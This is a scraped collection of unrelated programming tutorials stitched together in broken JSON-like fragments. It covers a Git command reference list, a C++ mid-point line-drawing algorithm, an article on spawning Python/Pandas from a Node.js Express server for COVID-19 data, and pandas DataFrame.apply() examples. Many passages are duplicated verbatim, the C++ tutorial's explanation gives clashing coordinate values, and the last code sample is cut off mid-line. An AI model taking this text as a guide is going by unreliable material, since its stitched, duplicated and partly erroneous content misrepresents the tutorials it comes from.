Run tasks to optimize Git repository data\n merge Join two or more development histories together\n mv Move or rename a file, a directory, or a symlink\n notes Add or inspect object notes\n pull Fetch from and integrate with another repository or a local branch\n push Update remote refs along with associated objects\n range-diff Compare two commit ranges (e.g. two versions of a branch)\n rebase Reapply commits on top of another base tip\n reset Reset current HEAD to the specified state\n restore Restore working tree files\n revert Revert some existing commits\n rm Remove files from the working tree and from the index\n shortlog Summarize 'git log' output\n show Show various types of objects\n sparse-checkout Initialize and modify the sparse-checkout\n stash Stash the changes in a dirty working directory away\n status Show the working tree status\n submodule Initialize, update or inspect submodules\n switch Switch branches\n tag Create, list, delete or verify a tag object signed with GPG\n worktree Manage multiple working trees\n\nAncillary Commands / Manipulators\n config Get and set repository or global options\n fast-export Git data exporter\n fast-import Backend for fast Git data importers\n filter-branch Rewrite branches\n mergetool Run merge conflict resolution tools to resolve merge conflicts\n pack-refs Pack heads and tags for efficient repository access\n prune Prune all unreachable objects from the object database\n reflog Manage reflog information\n remote Manage set of tracked repositories\n repack Pack unpacked objects in a repository\n replace Create, list, delete refs to replace objects\n\nAncillary Commands / Interrogators\n annotate Annotate file lines with commit information\n blame Show what revision and author last modified each line of a file\n bugreport Collect information for user to file a bug report\n count-objects Count unpacked number of objects and their disk consumption\n difftool Show changes using common diff tools\n fsck Verifies the connectivity and validity of the objects in the database\n gitweb Git web interface (web frontend to Git repositories)\n help Display help information about Git\n instaweb Instantly browse your working repository in gitweb\n merge-tree Show three-way merge without touching index\n rerere Reuse recorded resolution of conflicted merges\n show-branch Show branches and their commits\n verify-commit Check the GPG signature of commits\n verify-tag Check the GPG signature of tags\n whatchanged Show logs with difference each commit introduces\n\nInteracting with Others\n archimport Import a GNU Arch repository into Git\n cvsexportcommit Export a single commit to a CVS checkout\n cvsimport Salvage your data out of another SCM people love to hate\n cvsserver A CVS server emulator for Git\n imap-send Send a collection of patches from stdin to an IMAP folder\n p4 Import from and submit to Perforce repositories\n quiltimport Applies a quilt patchset onto the current branch\n request-pull Generates a summary of pending changes\n send-email Send a collection of patches as emails\n svn Bidirectional operation between a Subversion repository and Git\n\nLow-level Commands / Manipulators\n apply Apply a patch to files and/or to the index\n checkout-index Copy files from the index to the working tree\n commit-graph Write and verify Git commit-graph files\n commit-tree Create a new commit object\n hash-object Compute object ID and optionally creates a blob from a file\n index-pack Build pack index file for an existing packed archive\n merge-file Run a three-way file merge\n merge-index Run a merge for files needing merging\n mktag Creates a tag object\n mktree Build a tree-object from ls-tree formatted text\n multi-pack-index Write and verify multi-pack-indexes\n pack-objects Create a packed archive of objects\n prune-packed Remove extra objects that are already in pack files\n read-tree Reads tree information into the index\n symbolic-ref Read, modify and delete symbolic refs\n unpack-objects Unpack objects from a packed archive\n update-index Register file contents in the working tree to the index\n update-ref Update the object name stored in a ref safely\n write-tree Create a tree object from the current index\n\nLow-level Commands / Interrogators\n cat-file Provide content or type and size information for repository objects\n cherry Find commits yet to be applied to upstream\n diff-files Compares files in the working tree and the index\n diff-index Compare a tree to the working tree or index\n diff-tree Compares the content and mode of blobs found via two tree objects\n for-each-ref Output information on each ref\n for-each-repo Run a Git command on a list of repositories\n get-tar-commit-id Extract commit ID from an archive created using git-archive\n ls-files Show information about files in the index and the working tree\n ls-remote List references in a remote repository\n ls-tree List the contents of a tree object\n merge-base Find as good common ancestors as possible for a merge\n name-rev Find symbolic names for given revs\n pack-redundant Find redundant pack files\n rev-list Lists commit objects in reverse chronological order\n rev-parse Pick out and massage parameters\n show-index Show packed archive index\n show-ref List references in a local repository\n unpack-file Creates a temporary file with a blob's contents\n var Show a Git logical variable\n verify-pack Validate packed Git archive files\n\nLow-level Commands / Syncing Repositories\n daemon A really simple server for Git repositories\n fetch-pack Receive missing objects from another repository\n http-backend Server side implementation of Git over HTTP\n send-pack Push objects over Git protocol to another repository\n update-server-info Update auxiliary info file to help dumb servers\n\nLow-level Commands / Internal Helpers\n check-attr Display gitattributes information\n check-ignore Debug gitignore / exclude files\n check-mailmap Show canonical names and email addresses of contacts\n check-ref-format Ensures that a reference name is well formed\n column Display data in columns\n credential Retrieve and store user credentials\n credential-cache Helper to temporarily store passwords in memory\n credential-store Helper to store credentials on disk\n fmt-merge-msg Produce a merge commit message\n interpret-trailers Add or parse structured information in commit messages\n mailinfo Extracts patch and authorship from a single e-mail message\n mailsplit Simple UNIX mbox splitter program\n merge-one-file The standard helper program to use with git-merge-index\n patch-id Compute unique ID for a patch\n sh-i18n Git's i18n setup code for shell scripts\n sh-setup Common Git shell script setup code\n stripspace Remove unnecessary whitespace\n\nExternal commands\n askyesno\n credential-helper-selector\n flow\n lfs" }, { "code": null, "e": 12923, "s": 12808, "text": "Note: If you find yourself stuck in the list view, SHIFT + G to jump the end of the list, then q to exit the view." }, { "code": null, "e": 12989, "s": 12923, "text": "Show the possible options for the status command in command line:" }, { "code": null, "e": 12996, "s": 12989, "text": "git \n" }, { "code": null, "e": 13016, "s": 12996, "text": "\nStart the Exercise" }, { "code": null, "e": 13049, "s": 13016, "text": "We just launchedW3Schools videos" }, { "code": null, "e": 13091, "s": 13049, "text": "Get certifiedby completinga course today!" }, { "code": null, "e": 13198, "s": 13091, "text": "If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:" }, { "code": null, "e": 13217, "s": 13198, "text": "[email protected]" } ]
Mid-Point Line Generation Algorithm in C++
A line connects two points. It is a basic element in graphics. To draw a line, you need two points between which you can draw a line on a screen and in terms of graphics we refer to the points as pixels and every pixel is associated with integer coordinates. We are given integer coordinates in the form of (x1, y1) and (x2, y2) where, x1 < x2 and y1 < y2. The task is to calculate all the mid-points between point 1 i.e. (x1, y1) and point 2 i.e. (x2, y2) using the Midpoint Line Generation Algorithm. There are three different algorithms which are being used to perform Line generation on a screen and those are − DDA Algorithm DDA Algorithm Bresenham’s Line Generation Bresenham’s Line Generation Mid-Point Algorithm Mid-Point Algorithm Steps to draw line using Mid-Point Line Algorithm are- Calculate the middle point using the current located points i.e. East(Xp+1, Yp) and North East(Xp+1, Yp+1) is Middle point(Xp+1, Yp+1/2). Calculate the middle point using the current located points i.e. East(Xp+1, Yp) and North East(Xp+1, Yp+1) is Middle point(Xp+1, Yp+1/2). Now, Middle point will decide the location for the next coordinate on the screen i.e.IF the middle point is above the line, then the next coordinate will be at the EAST.IF the middle point is below the line, then the next coordinate will be at the NORTH EAST. Now, Middle point will decide the location for the next coordinate on the screen i.e. IF the middle point is above the line, then the next coordinate will be at the EAST. IF the middle point is above the line, then the next coordinate will be at the EAST. IF the middle point is below the line, then the next coordinate will be at the NORTH EAST. IF the middle point is below the line, then the next coordinate will be at the NORTH EAST. Let us see various input output scenarios for this - In − int x_1 = 3, int y_1 = 3, int x_2 = 10, int y_2 = 8 Out − Mid-Points through Line Generation Algorithm are: 3,3 4,4 5,5 6,5 7,6 8,7 9,7 10,8 Explanation − we are given with coordinates as x_1 = 3, x_2 = 10, y_1 = 3, y_2 = 8. So, the steps will be firstly to calculate dx = x_2 - x_1 as 10 - 3 = 7 and dy as y_2 - y_1 as 8 - 3 = 5 and then check if the dy is less than dx. Now calculate the d as 5 - (7 / 2) = 2. The first point will be x_1 and y_1. Print them. Now, while x_1 < x_2 then keep increasing the x_1 by 1 and check if d less than 0 then set d as d + dy ELSE, set d as d + (dy - dx) and increase the x_2 by 1. In − int x_1 = 2, int y_1 = 2, int x_2 = 3, int y_2 = 4 Out − Mid-Points through Line Generation Algorithm are: 2,2 3,3 3,4 Explanation − we are given with coordinates as x_1 = 2, x_2 = 2, y_1 = 3, y_2 = 4. So, by applying the mid-point line generation algorithm we will calculate all the mid-points pixels as an output. Input integer points as int x_1, int y_1, int x_2, int y_2. Call the function as Mid_Point(x_1, y_1, x_2, y_2) to generate the line. Input integer points as int x_1, int y_1, int x_2, int y_2. Call the function as Mid_Point(x_1, y_1, x_2, y_2) to generate the line. Inside the function Mid_Point(x_1, y_1, x_2, y_2)Calculate the dx as x_2 - x_1 and dy as y_2 - y_1Check IF dy is less than or equals to dx then set d as dy - (dx / 2) and set first_pt to x_1 and second_pt to y_1Print the first_pt and second_pt.Start while first_pt less than x_2 then increment the first_pt by 1 and check IF d less than 0 then set d to d + dy ELSE, set d to d + (dy - dx) and increment the second_pt by 1. Print the first_pt and second_pt.Else If dx less than dy then set d to dx - (dy/2) and set first_pt to x_1 and second_pt to y_1 and print the first_pt and second_pt.Start WHILE second_pt less than y_2. Inside the WHILE, increment the second_pt by 1. Check IF d less than 0 then set d to d + dx. ELSE, d to d + (dx - dy) and increment the first_pt by 1.Print the first_pt and second_pt. Inside the function Mid_Point(x_1, y_1, x_2, y_2) Calculate the dx as x_2 - x_1 and dy as y_2 - y_1 Calculate the dx as x_2 - x_1 and dy as y_2 - y_1 Check IF dy is less than or equals to dx then set d as dy - (dx / 2) and set first_pt to x_1 and second_pt to y_1 Check IF dy is less than or equals to dx then set d as dy - (dx / 2) and set first_pt to x_1 and second_pt to y_1 Print the first_pt and second_pt. Print the first_pt and second_pt. Start while first_pt less than x_2 then increment the first_pt by 1 and check IF d less than 0 then set d to d + dy ELSE, set d to d + (dy - dx) and increment the second_pt by 1. Print the first_pt and second_pt. Start while first_pt less than x_2 then increment the first_pt by 1 and check IF d less than 0 then set d to d + dy ELSE, set d to d + (dy - dx) and increment the second_pt by 1. Print the first_pt and second_pt. Else If dx less than dy then set d to dx - (dy/2) and set first_pt to x_1 and second_pt to y_1 and print the first_pt and second_pt. Else If dx less than dy then set d to dx - (dy/2) and set first_pt to x_1 and second_pt to y_1 and print the first_pt and second_pt. Start WHILE second_pt less than y_2. Inside the WHILE, increment the second_pt by 1. Check IF d less than 0 then set d to d + dx. ELSE, d to d + (dx - dy) and increment the first_pt by 1. Start WHILE second_pt less than y_2. Inside the WHILE, increment the second_pt by 1. Check IF d less than 0 then set d to d + dx. ELSE, d to d + (dx - dy) and increment the first_pt by 1. Print the first_pt and second_pt. Print the first_pt and second_pt. #include<bits/stdc++.h> using namespace std; void Mid_Point(int x_1, int y_1, int x_2, int y_2){ int dx = x_2 - x_1; int dy = y_2 - y_1; if(dy <= dx){ int d = dy - (dx / 2); int first_pt = x_1; int second_pt = y_1; cout<< first_pt << "," << second_pt << "\n"; while(first_pt < x_2){ first_pt++; if(d < 0){ d = d + dy; } else{ d = d + (dy - dx); second_pt++; } cout << first_pt << "," << second_pt << "\n"; } } else if(dx < dy){ int d = dx - (dy/2); int first_pt = x_1; int second_pt = y_1; cout << first_pt << "," << second_pt << "\n"; while(second_pt < y_2){ second_pt++; if(d < 0){ d = d + dx; } else{ d += (dx - dy); first_pt++; } cout << first_pt << "," << second_pt << "\n"; } } } int main(){ int x_1 = 3; int y_1 = 3; int x_2 = 10; int y_2 = 8; cout<<"Mid-Points through Line Generation Algorithm are: "; Mid_Point(x_1, y_1, x_2, y_2); return 0; } If we run the above code it will generate the following Output Mid-Points through Line Generation Algorithm are: 3,3 4,4 5,5 6,5 7,6 8,7 9,7 10,8
[ { "code": null, "e": 1565, "s": 1062, "text": "A line connects two points. It is a basic element in graphics. To draw a line, you need two points between which you can draw a line on a screen and in terms of graphics we refer to the points as pixels and every pixel is associated with integer coordinates. We are given integer coordinates in the form of (x1, y1) and (x2, y2) where, x1 < x2 and y1 < y2.\nThe task is to calculate all the mid-points between point 1 i.e. (x1, y1) and point 2 i.e. (x2, y2) using the Midpoint Line Generation Algorithm." }, { "code": null, "e": 1678, "s": 1565, "text": "There are three different algorithms which are being used to perform Line generation on a screen and those are −" }, { "code": null, "e": 1692, "s": 1678, "text": "DDA Algorithm" }, { "code": null, "e": 1706, "s": 1692, "text": "DDA Algorithm" }, { "code": null, "e": 1734, "s": 1706, "text": "Bresenham’s Line Generation" }, { "code": null, "e": 1762, "s": 1734, "text": "Bresenham’s Line Generation" }, { "code": null, "e": 1782, "s": 1762, "text": "Mid-Point Algorithm" }, { "code": null, "e": 1802, "s": 1782, "text": "Mid-Point Algorithm" }, { "code": null, "e": 1857, "s": 1802, "text": "Steps to draw line using Mid-Point Line Algorithm are-" }, { "code": null, "e": 1995, "s": 1857, "text": "Calculate the middle point using the current located points i.e. East(Xp+1, Yp) and North East(Xp+1, Yp+1) is Middle point(Xp+1, Yp+1/2)." }, { "code": null, "e": 2133, "s": 1995, "text": "Calculate the middle point using the current located points i.e. East(Xp+1, Yp) and North East(Xp+1, Yp+1) is Middle point(Xp+1, Yp+1/2)." }, { "code": null, "e": 2393, "s": 2133, "text": "Now, Middle point will decide the location for the next coordinate on the screen i.e.IF the middle point is above the line, then the next coordinate will be at the EAST.IF the middle point is below the line, then the next coordinate will be at the NORTH EAST." }, { "code": null, "e": 2479, "s": 2393, "text": "Now, Middle point will decide the location for the next coordinate on the screen i.e." }, { "code": null, "e": 2564, "s": 2479, "text": "IF the middle point is above the line, then the next coordinate will be at the EAST." }, { "code": null, "e": 2649, "s": 2564, "text": "IF the middle point is above the line, then the next coordinate will be at the EAST." }, { "code": null, "e": 2740, "s": 2649, "text": "IF the middle point is below the line, then the next coordinate will be at the NORTH EAST." }, { "code": null, "e": 2831, "s": 2740, "text": "IF the middle point is below the line, then the next coordinate will be at the NORTH EAST." }, { "code": null, "e": 2884, "s": 2831, "text": "Let us see various input output scenarios for this -" }, { "code": null, "e": 2941, "s": 2884, "text": "In − int x_1 = 3, int y_1 = 3, int x_2 = 10, int y_2 = 8" }, { "code": null, "e": 3030, "s": 2941, "text": "Out − Mid-Points through Line Generation Algorithm are: 3,3 4,4 5,5 6,5 7,6 8,7 9,7 10,8" }, { "code": null, "e": 3509, "s": 3030, "text": "Explanation − we are given with coordinates as x_1 = 3, x_2 = 10, y_1 = 3, y_2 = 8. So, the steps will be firstly to calculate dx = x_2 - x_1 as 10 - 3 = 7 and dy as y_2 - y_1 as 8 - 3 = 5 and\nthen check if the dy is less than dx. Now calculate the d as 5 - (7 / 2) = 2. The first point will be x_1 and y_1. Print them. Now, while x_1 < x_2 then keep increasing the x_1 by 1 and check if d\nless than 0 then set d as d + dy ELSE, set d as d + (dy - dx) and increase the x_2 by 1." }, { "code": null, "e": 3565, "s": 3509, "text": "In − int x_1 = 2, int y_1 = 2, int x_2 = 3, int y_2 = 4" }, { "code": null, "e": 3633, "s": 3565, "text": "Out − Mid-Points through Line Generation Algorithm are: 2,2 3,3 3,4" }, { "code": null, "e": 3830, "s": 3633, "text": "Explanation − we are given with coordinates as x_1 = 2, x_2 = 2, y_1 = 3, y_2 = 4. So, by applying the mid-point line generation algorithm we will calculate all the mid-points pixels as an output." }, { "code": null, "e": 3963, "s": 3830, "text": "Input integer points as int x_1, int y_1, int x_2, int y_2. Call the function as Mid_Point(x_1, y_1, x_2, y_2) to generate the line." }, { "code": null, "e": 4096, "s": 3963, "text": "Input integer points as int x_1, int y_1, int x_2, int y_2. Call the function as Mid_Point(x_1, y_1, x_2, y_2) to generate the line." }, { "code": null, "e": 4905, "s": 4096, "text": "Inside the function Mid_Point(x_1, y_1, x_2, y_2)Calculate the dx as x_2 - x_1 and dy as y_2 - y_1Check IF dy is less than or equals to dx then set d as dy - (dx / 2) and set first_pt to x_1 and second_pt to y_1Print the first_pt and second_pt.Start while first_pt less than x_2 then increment the first_pt by 1 and check IF d less than 0 then set d to d + dy ELSE, set d to d + (dy - dx) and increment the second_pt by 1. Print the first_pt and second_pt.Else If dx less than dy then set d to dx - (dy/2) and set first_pt to x_1 and second_pt to y_1 and print the first_pt and second_pt.Start WHILE second_pt less than y_2. Inside the WHILE, increment the\nsecond_pt by 1. Check IF d less than 0 then set d to d + dx. ELSE, d to d + (dx - dy) and increment the first_pt by 1.Print the first_pt and second_pt." }, { "code": null, "e": 4955, "s": 4905, "text": "Inside the function Mid_Point(x_1, y_1, x_2, y_2)" }, { "code": null, "e": 5005, "s": 4955, "text": "Calculate the dx as x_2 - x_1 and dy as y_2 - y_1" }, { "code": null, "e": 5055, "s": 5005, "text": "Calculate the dx as x_2 - x_1 and dy as y_2 - y_1" }, { "code": null, "e": 5169, "s": 5055, "text": "Check IF dy is less than or equals to dx then set d as dy - (dx / 2) and set first_pt to x_1 and second_pt to y_1" }, { "code": null, "e": 5283, "s": 5169, "text": "Check IF dy is less than or equals to dx then set d as dy - (dx / 2) and set first_pt to x_1 and second_pt to y_1" }, { "code": null, "e": 5317, "s": 5283, "text": "Print the first_pt and second_pt." }, { "code": null, "e": 5351, "s": 5317, "text": "Print the first_pt and second_pt." }, { "code": null, "e": 5564, "s": 5351, "text": "Start while first_pt less than x_2 then increment the first_pt by 1 and check IF d less than 0 then set d to d + dy ELSE, set d to d + (dy - dx) and increment the second_pt by 1. Print the first_pt and second_pt." }, { "code": null, "e": 5777, "s": 5564, "text": "Start while first_pt less than x_2 then increment the first_pt by 1 and check IF d less than 0 then set d to d + dy ELSE, set d to d + (dy - dx) and increment the second_pt by 1. Print the first_pt and second_pt." }, { "code": null, "e": 5910, "s": 5777, "text": "Else If dx less than dy then set d to dx - (dy/2) and set first_pt to x_1 and second_pt to y_1 and print the first_pt and second_pt." }, { "code": null, "e": 6043, "s": 5910, "text": "Else If dx less than dy then set d to dx - (dy/2) and set first_pt to x_1 and second_pt to y_1 and print the first_pt and second_pt." }, { "code": null, "e": 6231, "s": 6043, "text": "Start WHILE second_pt less than y_2. Inside the WHILE, increment the\nsecond_pt by 1. Check IF d less than 0 then set d to d + dx. ELSE, d to d + (dx - dy) and increment the first_pt by 1." }, { "code": null, "e": 6419, "s": 6231, "text": "Start WHILE second_pt less than y_2. Inside the WHILE, increment the\nsecond_pt by 1. Check IF d less than 0 then set d to d + dx. ELSE, d to d + (dx - dy) and increment the first_pt by 1." }, { "code": null, "e": 6453, "s": 6419, "text": "Print the first_pt and second_pt." }, { "code": null, "e": 6487, "s": 6453, "text": "Print the first_pt and second_pt." }, { "code": null, "e": 7638, "s": 6487, "text": "#include<bits/stdc++.h>\nusing namespace std;\n\nvoid Mid_Point(int x_1, int y_1, int x_2, int y_2){\n int dx = x_2 - x_1;\n int dy = y_2 - y_1;\n\n if(dy <= dx){\n int d = dy - (dx / 2);\n int first_pt = x_1;\n int second_pt = y_1;\n\n cout<< first_pt << \",\" << second_pt << \"\\n\";\n while(first_pt < x_2){\n first_pt++;\n if(d < 0){\n d = d + dy;\n }\n else{\n d = d + (dy - dx);\n second_pt++;\n }\n cout << first_pt << \",\" << second_pt << \"\\n\";\n }\n }\n else if(dx < dy){\n int d = dx - (dy/2);\n int first_pt = x_1;\n int second_pt = y_1;\n cout << first_pt << \",\" << second_pt << \"\\n\";\n while(second_pt < y_2){\n second_pt++;\n if(d < 0){\n d = d + dx;\n }\n else{\n d += (dx - dy);\n first_pt++;\n }\n cout << first_pt << \",\" << second_pt << \"\\n\";\n }\n }\n}\nint main(){\n int x_1 = 3;\n int y_1 = 3;\n int x_2 = 10;\n int y_2 = 8;\n cout<<\"Mid-Points through Line Generation Algorithm are: \";\n Mid_Point(x_1, y_1, x_2, y_2);\n return 0;\n}" }, { "code": null, "e": 7701, "s": 7638, "text": "If we run the above code it will generate the following Output" }, { "code": null, "e": 7784, "s": 7701, "text": "Mid-Points through Line Generation Algorithm are: 3,3\n4,4\n5,5\n6,5\n7,6\n8,7\n9,7\n10,8" } ]
Python & Pandas in Node.js Application | by Joe T. Santhanavanich | Towards Data Science
In Data Sciences, we all know that Python is one of the best tools to handle data management, analytics, visualization, ML, and many more. In the same way, Node.js is the JavaScript runtime environment for server-side which is one of the most popular tools for web architecture according to its economically beneficial, quick response time, etc. See from the Popularity of Programming Language Index (PYPL): Python and JavaScript are the top 1&3 popular languages. From my experience, I see most Python fans try to write everything using Python. And most Node.js Volk tries to do data cleaning, manipulation in JavaScript... (a bit painful with all that callbacks ...) Several blogs on the internet tried to compare between the Node.js and Python finding out that Node.js is awesome for Web Development and Python for Data Sciences. Actually, we don't need to always stick with the same programming language as there are ways to use them both together. In this article, I will show you an example of how to use a Python script from the Node.js web application. In this article, I will show an example of how to create a simple API web application where users can request the COVID-19 dataset and time-series aggregation interval with the Node.js and Express framework. The interesting thing here is that we will integrate the time-series aggregation done by Python and Pandas to the application as well. Later on, developers can use such API applications for easily rendering chart/ map/ dashboard in web application with any JavaScript library; such as Apexchart.js, Highchart.js, or Chart.js. The below figure shows an example of using simple Apexchart for the daily COVID-19 dataset. An overall structure of this application is shown in the following figure: First, let’s get started with the Python application which I will take an example from my article about the COVID-19 Time Series Analysis with Pandas in Python. In short, we will use a simple Python script to read and analyze the COVID-19 dataset from JHU CSSE to the Pandas dataframe. Then, group the dataset by ‘Country/Region’ level and transpose the dataframe and set the date/time column as an index column and sort the countries with most confirmed COVID-19 cases and select top countries according to the input country number. After that, resample the dataset with the input time interval and return .json output to the users. The overall script is shown in the following script: This script takes 2 arguments; python [script].py arg1 arg2 the first argument (arg1) is the number of countries with the highest confirmed COVID-19 cases and the second argument (arg2) is the aggregated time interval. For example, if we want to get confirmed COVID-19 case from the top three countries and aggregated data in monthly, then we can run the Python script with the following command: $ python covid19aggregator.py 3 'M' Then, you will get the following result (as of 10th May 2020): You can see that the time index is written as timestamp which we will keep it this way as it is easy to use in the web-based visualization tool later. In this part, we gonna start by creating a simple Node.js & Express application. You may initiate your project and install express with the following commands: $ npm init$ npm install express --save Then, create a server.js file for the Node.js web server with the example script below. If you are new to Express, please take a look at the documentation here. In part 1, we create a simple express app on port 3000. You may change to any port you like. In part 2, we define a GET request routing to ‘http://localhost:3000/covid_19_timeseries’ and use child_process to spawn the Python child process and also passing the URL query parameters ‘numberOfCountries’ and ‘aggregationInterval’ to the Python process. You may see the overall Node.js server script here: It is done! Now, this Node.js server is complete and it spawns the Python child process when users make a call to get the COVID 19 data. Let’s test it by running a server with: $ node server.jsserver running on http://localhost:3000 Let’s check the result on the web browser:(Here you may pass any number of Countries/ aggregation interval you want) http://localhost:3000/covid_19_timeseries?numberOfCountries=5&aggregationInterval=M So, that’s about it. Now, you already have a simple API application built with Node.js and Python. Please note that this example is to show a concept of integrating them together, the scripts can be improved in Node.js for better API route structure and in Python for more complex data manipulation workflow. This article shows an example of how to use NodeJS to spawn a Python process with Pandas and return a result directly to the API call. In this way, we are flexible to integrate all cool Data Python scripts with the popular web frameworks in JavaScript. I hope you like this article and found it useful for your daily work or projects. Feel free to leave me a message if you have any questions or comments. About me & Check out all my blog contents: Link Be Safe and Healthy! 💪 Thank you for Reading. 📚
[ { "code": null, "e": 637, "s": 172, "text": "In Data Sciences, we all know that Python is one of the best tools to handle data management, analytics, visualization, ML, and many more. In the same way, Node.js is the JavaScript runtime environment for server-side which is one of the most popular tools for web architecture according to its economically beneficial, quick response time, etc. See from the Popularity of Programming Language Index (PYPL): Python and JavaScript are the top 1&3 popular languages." }, { "code": null, "e": 1233, "s": 637, "text": "From my experience, I see most Python fans try to write everything using Python. And most Node.js Volk tries to do data cleaning, manipulation in JavaScript... (a bit painful with all that callbacks ...) Several blogs on the internet tried to compare between the Node.js and Python finding out that Node.js is awesome for Web Development and Python for Data Sciences. Actually, we don't need to always stick with the same programming language as there are ways to use them both together. In this article, I will show you an example of how to use a Python script from the Node.js web application." }, { "code": null, "e": 1576, "s": 1233, "text": "In this article, I will show an example of how to create a simple API web application where users can request the COVID-19 dataset and time-series aggregation interval with the Node.js and Express framework. The interesting thing here is that we will integrate the time-series aggregation done by Python and Pandas to the application as well." }, { "code": null, "e": 1859, "s": 1576, "text": "Later on, developers can use such API applications for easily rendering chart/ map/ dashboard in web application with any JavaScript library; such as Apexchart.js, Highchart.js, or Chart.js. The below figure shows an example of using simple Apexchart for the daily COVID-19 dataset." }, { "code": null, "e": 1934, "s": 1859, "text": "An overall structure of this application is shown in the following figure:" }, { "code": null, "e": 2621, "s": 1934, "text": "First, let’s get started with the Python application which I will take an example from my article about the COVID-19 Time Series Analysis with Pandas in Python. In short, we will use a simple Python script to read and analyze the COVID-19 dataset from JHU CSSE to the Pandas dataframe. Then, group the dataset by ‘Country/Region’ level and transpose the dataframe and set the date/time column as an index column and sort the countries with most confirmed COVID-19 cases and select top countries according to the input country number. After that, resample the dataset with the input time interval and return .json output to the users. The overall script is shown in the following script:" }, { "code": null, "e": 3018, "s": 2621, "text": "This script takes 2 arguments; python [script].py arg1 arg2 the first argument (arg1) is the number of countries with the highest confirmed COVID-19 cases and the second argument (arg2) is the aggregated time interval. For example, if we want to get confirmed COVID-19 case from the top three countries and aggregated data in monthly, then we can run the Python script with the following command:" }, { "code": null, "e": 3054, "s": 3018, "text": "$ python covid19aggregator.py 3 'M'" }, { "code": null, "e": 3117, "s": 3054, "text": "Then, you will get the following result (as of 10th May 2020):" }, { "code": null, "e": 3268, "s": 3117, "text": "You can see that the time index is written as timestamp which we will keep it this way as it is easy to use in the web-based visualization tool later." }, { "code": null, "e": 3428, "s": 3268, "text": "In this part, we gonna start by creating a simple Node.js & Express application. You may initiate your project and install express with the following commands:" }, { "code": null, "e": 3467, "s": 3428, "text": "$ npm init$ npm install express --save" }, { "code": null, "e": 4030, "s": 3467, "text": "Then, create a server.js file for the Node.js web server with the example script below. If you are new to Express, please take a look at the documentation here. In part 1, we create a simple express app on port 3000. You may change to any port you like. In part 2, we define a GET request routing to ‘http://localhost:3000/covid_19_timeseries’ and use child_process to spawn the Python child process and also passing the URL query parameters ‘numberOfCountries’ and ‘aggregationInterval’ to the Python process. You may see the overall Node.js server script here:" }, { "code": null, "e": 4207, "s": 4030, "text": "It is done! Now, this Node.js server is complete and it spawns the Python child process when users make a call to get the COVID 19 data. Let’s test it by running a server with:" }, { "code": null, "e": 4263, "s": 4207, "text": "$ node server.jsserver running on http://localhost:3000" }, { "code": null, "e": 4380, "s": 4263, "text": "Let’s check the result on the web browser:(Here you may pass any number of Countries/ aggregation interval you want)" }, { "code": null, "e": 4464, "s": 4380, "text": "http://localhost:3000/covid_19_timeseries?numberOfCountries=5&aggregationInterval=M" }, { "code": null, "e": 4773, "s": 4464, "text": "So, that’s about it. Now, you already have a simple API application built with Node.js and Python. Please note that this example is to show a concept of integrating them together, the scripts can be improved in Node.js for better API route structure and in Python for more complex data manipulation workflow." }, { "code": null, "e": 5179, "s": 4773, "text": "This article shows an example of how to use NodeJS to spawn a Python process with Pandas and return a result directly to the API call. In this way, we are flexible to integrate all cool Data Python scripts with the popular web frameworks in JavaScript. I hope you like this article and found it useful for your daily work or projects. Feel free to leave me a message if you have any questions or comments." }, { "code": null, "e": 5227, "s": 5179, "text": "About me & Check out all my blog contents: Link" }, { "code": null, "e": 5250, "s": 5227, "text": "Be Safe and Healthy! 💪" } ]
Return multiple columns using Pandas apply() method - GeeksforGeeks
05 Sep, 2020 Objects passed to the pandas.apply() are Series objects whose index is either the DataFrame’s index (axis=0) or the DataFrame’s columns (axis=1). By default (result_type=None), the final return type is inferred from the return type of the applied function. Otherwise, it depends on the result_type argument. Syntax: DataFrame.apply(func, axis=0, broadcast=None, raw=False, reduce=None, result_type=None, args=(), **kwds) Below are some programs which depicts the use of pandas.DataFrame.apply() Example 1: # Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(numpy.sqrt) Output: Using a numpy universal function (in this case the same as numpy.sqrt(dataFrame)). Example 2: # Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(numpy.sum, axis = 0) Output: Using a reducing function on columns. Example 3: # Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(numpy.sum, axis = 1) Output: Using a reducing function on rows. Example 4: # Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(lambda x: [1, 2], axis = 1) Output: Returning a list-like will result in a Series. Example 5: # Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(lambda x: [1, 2], axis = 1, result_type ='expand') Output: Passing result_type=’expand’ will expand list-like results to columns of a Dataframe. Example 6: # Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(lambda x: pandas.Series( [1, 2], index =['foo', 'bar']), axis = 1) Output: Returning a Series inside the function is similar to passing result_type=’expand’. The resulting column names will be the Series index. Example 7: # Program to illustrate the use of # pandas.DataFrame.apply() method # Importing required Librariesimport pandasimport numpy # Creating dataframedataFrame = pandas.DataFrame([[4, 9], ] * 3, columns =['A', 'B'])print('Data Frame:')display(dataFrame) # Using pandas.DataFrame.apply() on the data frameprint('Returning multiple columns from Pandas apply()')dataFrame.apply(lambda x: [1, 